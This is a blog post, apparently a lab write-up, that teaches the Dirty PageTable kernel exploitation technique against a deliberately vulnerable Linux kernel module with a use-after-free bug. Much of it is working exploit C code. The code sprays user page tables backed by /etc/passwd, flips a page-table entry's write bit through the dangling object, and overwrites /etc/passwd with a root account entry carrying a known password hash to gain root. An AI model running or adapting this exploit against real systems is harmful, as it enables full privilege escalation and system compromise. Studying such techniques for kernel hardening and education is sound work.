Post

Linux Kernel Exploitation - Dirty PageTable

Linux Kernel Exploitation - Dirty PageTable

In this post, I will explain Dirty PageTable, a universal and data-only exploitation technique that allows us to gain arbitrary read and write access to the entire physical memory. Download the handouts beforehand.

Analysis

The vulnerable LKM provides four commands: CMD_ALLOC, CMD_READ, CMD_WRITE, and CMD_FREE. These commands are used to allocate, read from, write to, and free objects defined as follows:

1
2
3
4
5
#define OBJ_SIZE    0x200

struct obj {
    char buf[OBJ_SIZE];
};

Note that obj_alloc and obj_free internally use kmem_cache_zalloc and kmem_cache_free, respectively. This means a dedicated cache is used for managing these objects:

1
2
3
4
5
6
7
8
9
10
static long obj_alloc(int id) {
    if (objs[id] != NULL) {
        return -1;
    }
    objs[id] = kmem_cache_zalloc(obj_cachep, GFP_KERNEL);
    if (objs[id] == NULL) {
        return -1;
    }
    return 0;
}
1
2
3
4
static long obj_free(int id) {
    kmem_cache_free(obj_cachep, objs[id]);
    return 0;
}

Bugs

In obj_free, objs[id], which is a reference to a freed memory region, is not cleared:

1
2
3
4
static long obj_free(int id) {
    kmem_cache_free(obj_cachep, objs[id]);
    return 0;
}

This results in an obvious UAF. Since we already have read and write primitives, It is not difficult to control RIP and escalate privileges by performing cross-cache attack, as explained in the previous post. However, in this post, we take a data-only approach using Dirty Pagetable. Data-only attacks are increasingly important in the current era (due to CONFIG_CFI_CLANG) and are widely used in real-world kernel exploits.

Dirty PageTable

As explained in the previous post, by using cross-cache attack, we can overlap victim objects with arbitrary kernel objects. In Dirty PageTable, we overlap victim objects with page tables. Since we already have read and write primitives, we can modify page tables as we like, resulting in arbitrary read and write access to the entire physical memory.

Exploitation

The initial steps are the same as in the previous post. The difference is in the fourth step, where we allocate a large number of page tables:

1
2
3
4
5
6
7
8
9
10
11
int file_fd = open("/etc/passwd", O_RDONLY);
assert(file_fd != -1);

puts("[*] Spraying user pagetables to reclaim order-0 pages");
for (int i = 0; i < NUM_PAGE_TABLE_SPRAY ; i++) {
    if (mmap((void *)(0xdead0000000UL + 0x200000 * i), PAGE_SIZE, PROT_READ, MAP_SHARED | MAP_FIXED_NOREPLACE, file_fd, 0) == MAP_FAILED) {
        printf("[-] Failed to mmap %#lx\n", 0xdead0000000UL + 0x200000 * i);
        exit(1);
    }
    *(volatile char*)(0xdead0000000UL + 0x200000 * i);
}

Here, we map /etc/passwd to user space. Note that we use MAP_FIXED_NOREPLACE flag and read from the page to ensure the page mapping is new and actually mapped.

Next, we locate the victim object and modify the PTE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned long pte;
int victim = -1;
for (int i = 0; i < num_spray; i += objs_per_slab * 2) {
    obj_read(i, (char *)&pte, 8);
    if (pte != 0) {
        victim = i;
        printf("[+] Found victim = %d, pte = %#lx\n", victim, pte);
        pte |= 0x2;
        printf("[*] Overwritting PTE with %#lx\n", pte);
        obj_write(victim, (char *)&pte, 8);
        break;
    }
}
if (victim == -1) {
    puts("[-] Failed to locate the victim object");
    exit(0);
}

Here, we enable the R/W flag. After this, we can modify /etc/passwd, even though the page was initially mapped as read-only. See the osdev article for more details about paging.

Finally, we overwrite /etc/passwd (j9ep0CjBGivAnD5z6l5rr0 is MD5-encoded password with salt deadbeef):

1
2
3
4
5
6
7
8
9
10
11
12
13
system("echo -e 'root:$1$deadbeef$j9ep0CjBGivAnD5z6l5rr0:0:0:root:/root:/bin/sh' > /tmp/evil");
int evil_fd = open("/tmp/evil", O_RDONLY);
assert(evil_fd != -1);
struct stat evil_stat;
assert(fstat(evil_fd, &evil_stat) != -1);

for (int i = 0; i < NUM_PAGE_TABLE_SPRAY ; i++) {
    if (pread(evil_fd, (char *)(0xdead0000000UL + 0x200000 * i), evil_stat.st_size, 0) != -1) {
        puts("[+] Success");
        puts("[+] You can now log in as root with the password: cafebabe");
        exit(0);
    }
}

Note that we use pread to ignore SIGSEGV. If we directly write to memory and the corresponding PTE is not valid, the program will exit.

By running this exploit, we can log in as a root user and see the flag:

win

References

The original article, Nicolas Wu. Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel. https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html seems to be broken now.

  1. Jann Horn. 2021. How a simple Linux kernel memory corruption bug can lead to complete system compromise. https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-memory.html
This post is licensed under CC BY 4.0 by the author.

Trending Tags